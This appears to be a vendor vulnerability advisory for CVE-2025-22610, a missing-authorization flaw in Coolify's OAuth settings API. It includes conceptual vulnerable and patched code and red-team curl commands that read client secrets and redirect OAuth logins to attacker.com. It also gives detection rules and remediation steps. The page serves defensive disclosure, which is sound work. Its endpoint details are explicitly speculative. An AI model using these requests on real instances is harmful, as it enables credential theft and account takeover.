CVE-2025-22610
Executive Summary
CVE-2025-22610 is a critical missing authorization vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. Prior to version 4.0.0-beta.361, any authenticated user can fetch the global Coolify instance OAuth configuration, exposing the "client id" and "client secret" for every custom OAuth provider. Furthermore, the attacker can also modify the global OAuth configuration. This vulnerability allows a low-privileged attacker to compromise the entire OAuth authentication flow, potentially leading to account takeover and lateral movement within the Coolify instance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Coolify is a self-hosted application typically deployed via Docker. The vulnerability exists in the application's own API endpoints, not in a third-party package. However, the exposure of OAuth client secrets can lead to supply chain risks if the compromised OAuth provider is used to authenticate access to other services (e.g., GitHub, GitLab) that manage code repositories or CI/CD pipelines.
CVSS Breakdown & Threat Level
CVSS Score: 8.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - An attacker needs a valid, low-privileged user account.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the Coolify instance.
- Confidentiality (C): High (H) - OAuth client secrets are exposed.
- Integrity (I): High (H) - The attacker can modify the OAuth configuration.
- Availability (A): None (N) - The vulnerability does not affect availability.
Threat Level: High. The combination of low privileges required and the ability to both read and write sensitive OAuth configuration makes this a severe threat.
Deep Dive & Mechanics
The vulnerability stems from a missing authorization check on API endpoints responsible for managing the global OAuth configuration. In Coolify, the OAuth configuration (including client IDs and secrets for providers like GitHub, GitLab, and others) is stored globally for the entire instance. The intended design is that only administrators should be able to view or modify this configuration.
The flawed code likely exposes endpoints such as:
GET /api/v1/oauth/settings- to fetch the configuration.PUT /api/v1/oauth/settings- to update the configuration.
These endpoints were not protected by a proper authorization middleware that checks for administrative privileges. As a result, any authenticated user (even with the lowest role) could access them.
Attack Flow:
- An attacker obtains a valid session token for a low-privileged user (e.g., via phishing, credential stuffing, or by registering a new account if self-registration is enabled).
- The attacker sends a GET request to the OAuth settings endpoint.
- The server returns the full OAuth configuration, including
client_idandclient_secretfor all configured providers. - The attacker can then use these secrets to impersonate the Coolify application to the OAuth provider, potentially gaining access to the provider's API on behalf of Coolify.
- Additionally, the attacker can send a PUT request to modify the OAuth configuration, changing the redirect URI or client secret, effectively hijacking the OAuth flow for future logins.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual - PHP/Laravel):
// routes/api.php
Route::get('/oauth/settings', 'OAuthController@getSettings');
Route::put('/oauth/settings', 'OAuthController@updateSettings');
// OAuthController.php
public function getSettings() {
// Missing authorization check
return response()->json(Setting::where('key', 'oauth')->first()->value);
}
public function updateSettings(Request $request) {
// Missing authorization check
$setting = Setting::where('key', 'oauth')->first();
$setting->value = $request->all();
$setting->save();
return response()->json(['message' => 'Updated']);
}
Patched Code (Conceptual):
// routes/api.php
Route::get('/oauth/settings', 'OAuthController@getSettings')->middleware('auth:admin');
Route::put('/oauth/settings', 'OAuthController@updateSettings')->middleware('auth:admin');
// OAuthController.php
public function getSettings() {
// Authorization is now handled by middleware
return response()->json(Setting::where('key', 'oauth')->first()->value);
}
public function updateSettings(Request $request) {
// Authorization is now handled by middleware
$setting = Setting::where('key', 'oauth')->first();
$setting->value = $request->all();
$setting->save();
return response()->json(['message' => 'Updated']);
}
The fix adds an auth:admin middleware to the routes, ensuring only users with the admin role can access these endpoints.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable Coolify instance (version < 4.0.0-beta.361) using Docker.
docker run -d -p 8000:80 --name coolify-vuln ghcr.io/coollabsio/coolify:4.0.0-beta.360 - Register a new user account (if self-registration is enabled) or obtain credentials for a low-privileged user.
- Log in and capture the session cookie (e.g.,
coolify_session).
Exploitation Steps:
Fetch OAuth Configuration:
curl -X GET http://target:8000/api/v1/oauth/settings \ -H "Cookie: coolify_session=<SESSION_TOKEN>"Response:
{ "github": { "client_id": "Iv1.xxxxxxxxxxxx", "client_secret": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" }, "gitlab": { "client_id": "xxxxxxxxxxxx", "client_secret": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" } }Modify OAuth Configuration (e.g., change GitHub redirect URI):
curl -X PUT http://target:8000/api/v1/oauth/settings \ -H "Cookie: coolify_session=<SESSION_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"github": {"client_id": "Iv1.xxxxxxxxxxxx", "client_secret": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "redirect_uri": "https://attacker.com/callback"}}'
Blue Team
Detection Steps:
- Monitor API Access Logs: Look for unusual access to
/api/v1/oauth/settingsfrom non-admin users. - Audit User Roles: Regularly review user accounts and their roles. Ensure no unauthorized users have administrative privileges.
- Check OAuth Configuration Integrity: Periodically verify that the OAuth client secrets and redirect URIs have not been tampered with.
- Honeytoken: Deploy a fake OAuth provider with a honeytoken client secret. Monitor for any use of this secret, which would indicate a breach.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/v1/oauth/settingswith methodsGETorPUTfrom non-admin IP addresses. - Unusual OAuth callback requests to external domains (e.g.,
attacker.com/callback).
- HTTP requests to
- File IOCs:
- Modified database entries in the
settingstable wherekeyisoauth.
- Modified database entries in the
- Log IOCs:
- Application logs showing
OAuthController@getSettingsorOAuthController@updateSettingsbeing called by non-admin users.
- Application logs showing
Detection Engineering
YARA Rule
rule Detect_Coolify_OAuth_Exposure {
meta:
description = "Detects attempts to exploit CVE-2025-22610 by accessing OAuth settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22610"
strings:
$s1 = "/api/v1/oauth/settings" ascii wide nocase
$s2 = "client_secret" ascii wide nocase
condition:
any of ($s*) and filesize < 10KB
}
Sigma Rule
title: Coolify OAuth Configuration Access by Non-Admin User
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects when a non-admin user accesses the OAuth settings endpoint in Coolify.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: coolify
detection:
selection:
http.method: ('GET' OR 'PUT')
http.url: '/api/v1/oauth/settings'
http.user_role: 'user' # Assuming the log includes user role
condition: selection
falsepositives:
- Legitimate admin actions (should be filtered by user_role)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22610 - Coolify OAuth Settings Access"; flow:to_server; content:"/api/v1/oauth/settings"; http_uri; nocase; content:"Cookie"; http_header; pcre:"/coolify_session=[a-zA-Z0-9]+/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Coolify to version 4.0.0-beta.361 or later.
docker pull ghcr.io/coollabsio/coolify:4.0.0-beta.361 docker stop coolify-vuln docker run -d -p 8000:80 --name coolify-patched ghcr.io/coollabsio/coolify:4.0.0-beta.361 - Rotate Secrets: Immediately rotate all OAuth client secrets that were exposed.
- Audit Users: Review all user accounts and remove any unauthorized or suspicious users.
Long-Term Mitigations:
- Implement Role-Based Access Control (RBAC): Ensure all API endpoints have proper authorization checks.
- Enable Audit Logging: Log all access to sensitive configuration endpoints.
- Network Segmentation: Place the Coolify instance behind a VPN or firewall to limit exposure.
- Regular Security Audits: Conduct periodic code reviews and penetration testing.
Valters IT
Securing Digital Frontiers